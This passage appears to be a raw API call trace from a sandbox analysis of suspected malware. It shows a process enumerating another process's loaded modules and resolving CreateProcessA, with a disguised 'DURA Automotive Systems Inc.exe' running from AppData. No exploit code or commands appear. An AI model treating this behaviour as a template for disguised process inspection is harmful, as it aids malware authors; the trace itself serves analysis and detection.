	[0175.170] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0175.170] GetLastError () returned 0xcb
	[0175.170] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0175.171] GetLastError () returned 0xcb
	[0175.171] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75730000, lpmodinfo=0x2662d88, cb=0xc | out: lpmodinfo=0x2662d88*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0175.171] GetLastError () returned 0xcb
	[0175.171] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0175.171] GetLastError () returned 0xcb
	[0175.172] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0175.172] GetLastError () returned 0xcb
	[0175.172] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74df0000, lpmodinfo=0x2663e7c, cb=0xc | out: lpmodinfo=0x2663e7c*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0175.173] GetLastError () returned 0xcb
	[0175.173] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0175.173] GetLastError () returned 0xcb
	[0175.173] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0175.173] GetLastError () returned 0xcb
	[0175.174] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74740000, lpmodinfo=0x2664f70, cb=0xc | out: lpmodinfo=0x2664f70*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0175.174] GetLastError () returned 0xcb
	[0175.174] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0175.174] GetLastError () returned 0xcb
	[0175.175] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0175.175] GetLastError () returned 0xcb
	[0175.175] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74670000, lpmodinfo=0x26660a8, cb=0xc | out: lpmodinfo=0x26660a8*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0175.175] GetLastError () returned 0xcb
	[0175.176] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0175.176] GetLastError () returned 0xcb
	[0175.176] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0175.177] GetLastError () returned 0xcb
	[0175.177] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75b00000, lpmodinfo=0x266723c, cb=0xc | out: lpmodinfo=0x266723c*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0175.177] GetLastError () returned 0xcb
	[0175.177] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0175.177] GetLastError () returned 0xcb
	[0175.178] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0175.178] GetLastError () returned 0xcb
	[0175.178] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75180000, lpmodinfo=0x2668338, cb=0xc | out: lpmodinfo=0x2668338*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0175.179] GetLastError () returned 0xcb
	[0175.179] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0175.179] GetLastError () returned 0xcb
	[0175.179] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0175.180] GetLastError () returned 0xcb
	[0175.180] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d20000, lpmodinfo=0x266942c, cb=0xc | out: lpmodinfo=0x266942c*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0175.180] GetLastError () returned 0xcb
	[0175.180] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0175.181] GetLastError () returned 0xcb
	[0175.181] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0175.181] GetLastError () returned 0xcb
	[0175.181] GetModuleInformation (in: hProcess=0x1e8, hModule=0x72be0000, lpmodinfo=0x266a528, cb=0xc | out: lpmodinfo=0x266a528*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0175.182] GetLastError () returned 0xcb
	[0175.182] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0175.183] GetLastError () returned 0xcb
	[0175.183] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0175.183] GetLastError () returned 0xcb
	[0175.183] GetModuleInformation (in: hProcess=0x1e8, hModule=0x745f0000, lpmodinfo=0x266b6c0, cb=0xc | out: lpmodinfo=0x266b6c0*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0175.184] GetLastError () returned 0xcb
	[0175.184] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0175.184] GetLastError () returned 0xcb
	[0175.184] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0175.185] GetLastError () returned 0xcb
	[0175.185] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74450000, lpmodinfo=0x266c7bc, cb=0xc | out: lpmodinfo=0x266c7bc*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0175.185] GetLastError () returned 0xcb
	[0175.186] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0175.186] GetLastError () returned 0xcb
	[0175.186] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0175.187] GetLastError () returned 0xcb
	[0175.187] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73cb0000, lpmodinfo=0x266d8f4, cb=0xc | out: lpmodinfo=0x266d8f4*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0175.187] GetLastError () returned 0xcb
	[0175.187] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0175.188] GetLastError () returned 0xcb
	[0175.188] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0175.189] GetLastError () returned 0xcb
	[0175.189] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73b10000, lpmodinfo=0x266ea80, cb=0xc | out: lpmodinfo=0x266ea80*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0175.189] GetLastError () returned 0xcb
	[0175.190] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0175.190] GetLastError () returned 0xcb
	[0175.190] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0175.191] GetLastError () returned 0xcb
	[0175.191] GetModuleInformation (in: hProcess=0x1e8, hModule=0x750f0000, lpmodinfo=0x266fc64, cb=0xc | out: lpmodinfo=0x266fc64*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0175.191] GetLastError () returned 0xcb
	[0175.191] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0175.192] GetLastError () returned 0xcb
	[0175.192] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0175.192] GetLastError () returned 0xcb
	[0175.192] CloseHandle (hObject=0x1e8) returned 1
	[0175.192] GetLastError () returned 0xcb
	[0175.196] CoCreateGuid (in: pguid=0x33d1b4 | out: pguid=0x33d1b4*(Data1=0x3fdf3fdc, Data2=0xf475, Data3=0x4531, Data4=([0]=0xaf, [1]=0xfd, [2]=0xc3, [3]=0x16, [4]=0xc4, [5]=0x83, [6]=0x98, [7]=0xc3))) returned 0x0
	[0175.203] CoCreateGuid (in: pguid=0x33d718 | out: pguid=0x33d718*(Data1=0x9d4aa7b1, Data2=0x5420, Data3=0x4780, Data4=([0]=0x9d, [1]=0xf1, [2]=0x9, [3]=0xf7, [4]=0xc5, [5]=0x53, [6]=0xb2, [7]=0x70))) returned 0x0
	[0175.212] GetProcAddress (hModule=0x75960000, lpProcName="CreateProcessA") returned 0x75971072
	[0175.219] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x530) returned 0x1e8
	[0175.219] GetLastError () returned 0xcb
	[0175.219] EnumProcessModules (in: hProcess=0x1e8, lphModule=0x267c39c, cb=0x100, lpcbNeeded=0x33dec4 | out: lphModule=0x267c39c, lpcbNeeded=0x33dec4) returned 1
	[0175.219] GetLastError () returned 0xcb
	[0175.219] GetModuleInformation (in: hProcess=0x1e8, hModule=0xb0000, lpmodinfo=0x267c4dc, cb=0xc | out: lpmodinfo=0x267c4dc*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0175.220] GetLastError () returned 0xcb
	[0175.220] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0175.220] GetLastError () returned 0xcb
	[0175.220] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0175.220] GetLastError () returned 0xcb
	[0175.220] GetModuleInformation (in: hProcess=0x1e8, hModule=0x77230000, lpmodinfo=0x267d69c, cb=0xc | out: lpmodinfo=0x267d69c*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0175.220] GetLastError () returned 0xcb
	[0175.220] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0175.220] GetLastError () returned 0xcb
	[0175.221] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0175.221] GetLastError () returned 0xcb
	[0175.221] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73910000, lpmodinfo=0x267e790, cb=0xc | out: lpmodinfo=0x267e790*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0175.221] GetLastError () returned 0xcb
	[0175.221] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0175.221] GetLastError () returned 0xcb
	[0175.221] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0175.221] GetLastError () returned 0xcb
	[0175.222] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75960000, lpmodinfo=0x267f88c, cb=0xc | out: lpmodinfo=0x267f88c*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0175.222] GetLastError () returned 0xcb
	[0175.222] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0175.222] GetLastError () returned 0xcb
	[0175.222] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0175.222] GetLastError () returned 0xcb
	[0175.222] GetModuleInformation (in: hProcess=0x1e8, hModule=0x768a0000, lpmodinfo=0x2680990, cb=0xc | out: lpmodinfo=0x2680990*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0175.222] GetLastError () returned 0xcb
	[0175.223] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0175.223] GetLastError () returned 0xcb
	[0175.223] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0175.223] GetLastError () returned 0xcb
	[0175.223] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75690000, lpmodinfo=0x2681acc, cb=0xc | out: lpmodinfo=0x2681acc*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0175.223] GetLastError () returned 0xcb
	[0175.224] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0175.224] GetLastError () returned 0xcb
	[0175.224] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0175.224] GetLastError () returned 0xcb
	[0175.224] GetModuleInformation (in: hProcess=0x1e8, hModule=0x755e0000, lpmodinfo=0x2682bd0, cb=0xc | out: lpmodinfo=0x2682bd0*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0175.224] GetLastError () returned 0xcb
	[0175.224] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0175.224] GetLastError () returned 0xcb
	[0175.224] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0175.225] GetLastError () returned 0xcb
	[0175.225] GetModuleInformation (in: hProcess=0x1e8, hModule=0x767f0000, lpmodinfo=0x2683ccc, cb=0xc | out: lpmodinfo=0x2683ccc*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0175.225] GetLastError () returned 0xcb
	[0175.225] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0175.225] GetLastError () returned 0xcb
	[0175.225] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0175.225] GetLastError () returned 0xcb
	[0175.225] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74ec0000, lpmodinfo=0x2684dc8, cb=0xc | out: lpmodinfo=0x2684dc8*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0175.226] GetLastError () returned 0xcb
	[0175.226] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0175.226] GetLastError () returned 0xcb
	[0175.226] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0175.226] GetLastError () returned 0xcb
	[0175.226] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d90000, lpmodinfo=0x2685f14, cb=0xc | out: lpmodinfo=0x2685f14*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0175.226] GetLastError () returned 0xcb
	[0175.226] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0175.227] GetLastError () returned 0xcb
	[0175.227] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0175.227] GetLastError () returned 0xcb
	[0175.227] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d80000, lpmodinfo=0x2687010, cb=0xc | out: lpmodinfo=0x2687010*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0175.227] GetLastError () returned 0xcb
	[0175.227] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0175.227] GetLastError () returned 0xcb
	[0175.227] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0175.228] GetLastError () returned 0xcb
	[0175.228] GetModuleInformation (in: hProcess=0x1e8, hModule=0x736f0000, lpmodinfo=0x2688114, cb=0xc | out: lpmodinfo=0x2688114*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0175.228] GetLastError () returned 0xcb
	[0175.228] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0175.228] GetLastError () returned 0xcb
	[0175.228] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0175.229] GetLastError () returned 0xcb
	[0175.229] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76bd0000, lpmodinfo=0x268924c, cb=0xc | out: lpmodinfo=0x268924c*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0175.229] GetLastError () returned 0xcb
	[0175.229] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0175.229] GetLastError () returned 0xcb
	[0175.229] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0175.229] GetLastError () returned 0xcb
	[0175.229] GetModuleInformation (in: hProcess=0x1e8, hModule=0x758d0000, lpmodinfo=0x268a348, cb=0xc | out: lpmodinfo=0x268a348*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0175.230] GetLastError () returned 0xcb
	[0175.230] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0175.230] GetLastError () returned 0xcb
	[0175.230] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0175.230] GetLastError () returned 0xcb
	[0175.230] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76ad0000, lpmodinfo=0x268b43c, cb=0xc | out: lpmodinfo=0x268b43c*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0175.231] GetLastError () returned 0xcb
	[0175.231] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0175.231] GetLastError () returned 0xcb
	[0175.231] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0175.231] GetLastError () returned 0xcb
	[0175.231] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75830000, lpmodinfo=0x268c538, cb=0xc | out: lpmodinfo=0x268c538*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0175.232] GetLastError () returned 0xcb
	[0175.232] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0175.232] GetLastError () returned 0xcb
	[0175.232] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0175.232] GetLastError () returned 0xcb
	[0175.233] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75790000, lpmodinfo=0x268d624, cb=0xc | out: lpmodinfo=0x268d624*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0175.233] GetLastError () returned 0xcb
	[0175.233] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0175.233] GetLastError () returned 0xcb
	[0175.233] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0175.234] GetLastError () returned 0xcb
	[0175.234] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75730000, lpmodinfo=0x268e7a8, cb=0xc | out: lpmodinfo=0x268e7a8*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0175.234] GetLastError () returned 0xcb
	[0175.234] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0175.234] GetLastError () returned 0xcb
	[0175.234] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0175.240] GetLastError () returned 0xcb
	[0175.240] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74df0000, lpmodinfo=0x268f89c, cb=0xc | out: lpmodinfo=0x268f89c*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0175.240] GetLastError () returned 0xcb
	[0175.240] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0175.241] GetLastError () returned 0xcb
	[0175.241] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0175.241] GetLastError () returned 0xcb
